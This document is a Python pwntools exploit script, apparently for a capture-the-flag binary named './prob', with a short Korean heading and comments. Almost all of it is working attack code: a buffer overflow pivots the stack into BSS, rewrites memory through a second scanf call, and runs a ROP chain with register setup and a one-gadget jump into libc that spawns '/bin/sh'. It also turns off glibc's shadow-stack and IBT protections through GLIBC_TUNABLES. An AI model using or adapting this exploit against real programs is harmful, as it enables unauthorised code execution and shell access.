지금 확정/계산된 값

Exploit

#!/usr/bin/env python3
from pwn import *

context.update(arch='amd64', os='linux', log_level='debug')
exe = './prob'

LEAVE_RET   = 0x401168
POP_RBP_RET = 0x40111d
ADD_EBX     = 0x40111c
RET2SCANF   = 0x401145

BSS_BASE    = 0x404400
RET_SLOT    = 0x4044f8
RET_SLOT_OFF= RET_SLOT - BSS_BASE

PAGE        = 0x000070aa82e80000
POP_RBX     = PAGE + 0x9c          # fwrite+0x252

ONE_OFF     = 0x00000000000ebda8
ONE_ADDR    = PAGE + ONE_OFF

PAGE_LOW4   = 0x00e80000
ONE_LOW4    = ONE_OFF & 0xffffffff      # 0x00ebda8
EBX_DELTA   = (ONE_LOW4 - PAGE_LOW4) & 0xffffffff   # == 0x000ebda8

def start():
    env = {"GLIBC_TUNABLES":"glibc.cpu.hwcaps=-SHSTK,-IBT"}
    return process(exe, env=env)

def send_line(io, b, tag=""):
    if tag: log.info(f"send[{tag}] len={len(b)}")
    io.send(b + b'\\n')

def put_q(buf: bytearray, off: int, q: int):
    buf[off:off+8] = p64(q)

def main():
    io = start()

    log.info(f"PAGE={PAGE:#x}, POP_RBX={POP_RBX:#x}")
    log.info(f"ONE = {ONE_ADDR:#x} (off={ONE_OFF:#x})")
    log.info(f"EBX_DELTA = 0x{EBX_DELTA:08x}  (EXPECT: 0x000ebda8)")

    p  = b'A'*0x100
    p += p64(POP_RBP_RET)
    p += p64(BSS_BASE + 0x100)   # [rbp-0x100] == BSS_BASE
    p += p64(RET2SCANF)
    send_line(io, p, "pivot->bss & re-scanf")

    s0 = RET_SLOT + 0x10
    img_len = (s0 + 0x58) - BSS_BASE
    img = bytearray(img_len)  # zero-filled

    put_q(img, 0x100, RET_SLOT - 8)     # saved RBP
    put_q(img, 0x108, LEAVE_RET)        # next RIP (= leave; ret)

    put_q(img, RET_SLOT_OFF + 0x00, POP_RBX)        # ret -> PAGE+0x9c
    put_q(img, RET_SLOT_OFF + 0x08, EBX_DELTA)      # rbx = 0x000ebda8  (LE: a8 bd 0e 00 ...)
    put_q(img, RET_SLOT_OFF + 0x10, 0xdeadbeefcafebabe)  # dummy rbp
    put_q(img, RET_SLOT_OFF + 0x18, 0x0)                 # r12 = 0
    put_q(img, RET_SLOT_OFF + 0x20, 0x3333333344444444)  # r13
    put_q(img, RET_SLOT_OFF + 0x28, 0x5555555566666666)  # r14
    put_q(img, RET_SLOT_OFF + 0x30, 0x7777777788888888)  # r15
    put_q(img, RET_SLOT_OFF + 0x38, POP_RBP_RET)         # epilogue ret -> pop rbp; ret

    target_addr = RET_SLOT + 0x50            # TARGET_RET qword 위치
    new_rbp     = target_addr + 0x3d         # 반드시 0x404585 여야 한다 (현 세팅에서)
    put_q(img, RET_SLOT_OFF + 0x40, new_rbp)

    put_q(img, RET_SLOT_OFF + 0x48, ADD_EBX)

    put_q(img, RET_SLOT_OFF + 0x50, PAGE)

    rbp = new_rbp
    argv_addr = rbp - 0x50
    envp_ptr  = rbp - 0x70

    sh_str = BSS_BASE + 0x180
    img[0x180:0x180+8] = b"/bin/sh\\x00"

    # argv = [&"/bin/sh", NULL]
    put_q(img, (argv_addr - BSS_BASE) + 0x00, sh_str)
    put_q(img, (argv_addr - BSS_BASE) + 0x08, 0x0)

    put_q(img, (envp_ptr - BSS_BASE), 0x0)

    assert img[RET_SLOT_OFF:RET_SLOT_OFF+8]         == p64(POP_RBX),     "RET_SLOT != POP_RBX"
    assert img[RET_SLOT_OFF+0x08:RET_SLOT_OFF+0x10] == p64(EBX_DELTA),   "rbx value wrong"
    assert img[RET_SLOT_OFF+0x38:RET_SLOT_OFF+0x40] == p64(POP_RBP_RET), "ret after epilogue wrong"
    assert img[RET_SLOT_OFF+0x40:RET_SLOT_OFF+0x48] == p64(new_rbp),     "new_rbp wrong"
    assert img[RET_SLOT_OFF+0x48:RET_SLOT_OFF+0x50] == p64(ADD_EBX),     "ADD_EBX missing"
    assert img[RET_SLOT_OFF+0x50:RET_SLOT_OFF+0x58] == p64(PAGE),        "TARGET_RET wrong"
    log.success(f"new_rbp should be {new_rbp:#x} (EXPECT 0x404585)")

    send_line(io, bytes(img), "BSS final image (fixed)")

    io.interactive()

if __name__ == '__main__':
    main()

?